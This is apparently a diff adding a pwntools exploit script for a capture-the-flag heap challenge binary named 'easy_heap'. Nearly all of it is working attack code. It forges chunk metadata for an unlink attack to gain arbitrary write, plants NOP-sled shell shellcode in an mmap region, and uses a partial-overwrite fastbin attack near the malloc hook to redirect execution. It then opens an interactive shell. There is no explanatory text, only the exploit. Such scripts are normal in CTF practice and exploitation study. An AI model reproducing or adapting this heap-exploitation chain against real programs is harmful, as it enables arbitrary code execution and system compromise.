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| 1 | +#!/usr/bin/env python |
| 2 | +# -*- coding: utf-8 -*- |
| 3 | + |
| 4 | +from pwn import * |
| 5 | +from time import sleep |
| 6 | +import os |
| 7 | +context.log_level = "critical" |
| 8 | +context.binary = "./easy_heap" |
| 9 | +elf = context.binary |
| 10 | +libc = elf.libc |
| 11 | + |
| 12 | +def add(size): |
| 13 | + io.sendlineafter(">> ", "1") |
| 14 | + io.sendlineafter("Size: ", str(size)) |
| 15 | + |
| 16 | +def delete(idx): |
| 17 | + io.sendlineafter(">> ", "2") |
| 18 | + io.sendlineafter("Index: ", str(idx)) |
| 19 | + |
| 20 | +def fill(idx, cont): |
| 21 | + io.sendlineafter(">> ", "3") |
| 22 | + io.sendlineafter("Index: ", str(idx)) |
| 23 | + io.sendafter("Content: ", cont) |
| 24 | + sleep(0.01) |
| 25 | + |
| 26 | +def DEBUG(): |
| 27 | + base = int(os.popen("pmap {}| awk '{{print 1ドル}}'".format(io.pid)).readlines()[2], 16) |
| 28 | + print("\n================= DEBUG: ================") |
| 29 | + print("malloc @ {:#x}".format(base + 0x1023)) |
| 30 | + print("fill @ {:#x}".format(base + 0x1219)) |
| 31 | + print("free @ {:#x}".format(base + 0x1134)) |
| 32 | + print("================= DEBUG: ================\n") |
| 33 | + pause() |
| 34 | + |
| 35 | +io = process("./easy_heap") |
| 36 | +io.recvuntil("Mmap: ") |
| 37 | +mmap = int(io.recvline().strip(), 16) |
| 38 | +print("mmap @ {:#x}".format(mmap)) |
| 39 | + |
| 40 | +add(0x88) |
| 41 | +io.recvuntil(" Address") |
| 42 | +elf.address = int(io.recvline().strip(), 16) - 0x202060 - 8 |
| 43 | +print("elf @ {:#x}".format(elf.address)) |
| 44 | +add(0xf0) |
| 45 | +add(0x10) |
| 46 | + |
| 47 | +ptr = elf.address + 0x202060 + 8 |
| 48 | +fill(0, fit({0x0: flat(0, 0x81, ptr - 0x18, ptr - 0x10), |
| 49 | + 0x80: flat(0x80) |
| 50 | + }, filler = '0')) |
| 51 | +delete(1) |
| 52 | + |
| 53 | +fill(0, flat(0, 0, 0x88, elf.address + 0x202090, 0x88, mmap, 0x88, elf.address + 0x202090, '\n')) |
| 54 | +fill(1, '\x90' * 0x10 + asm(shellcraft.sh()) + '\n') |
| 55 | + |
| 56 | +# clean |
| 57 | +add(0x168) |
| 58 | + |
| 59 | +add(0x80) |
| 60 | +add(0x68) |
| 61 | +add(0xf0) |
| 62 | +add(0x10) |
| 63 | + |
| 64 | +delete(4) |
| 65 | +fill(5, fit({0x60: p64(0x100)}, filler = '0円')) |
| 66 | +delete(6) |
| 67 | +delete(5) |
| 68 | +add(0x80) |
| 69 | + |
| 70 | +fill(2, flat(0x1000) + '\n') |
| 71 | +fill(3, fit({0x228: flat(0x71, p16(0xdaed))}, filler = '0円') + '\n') |
| 72 | + |
| 73 | +# DEBUG() |
| 74 | +add(0x68) |
| 75 | +add(0x68) |
| 76 | +fill(6, flat('0円' * 0x13, mmap) + '\n') |
| 77 | +add(0) |
| 78 | + |
| 79 | +io.interactive() |
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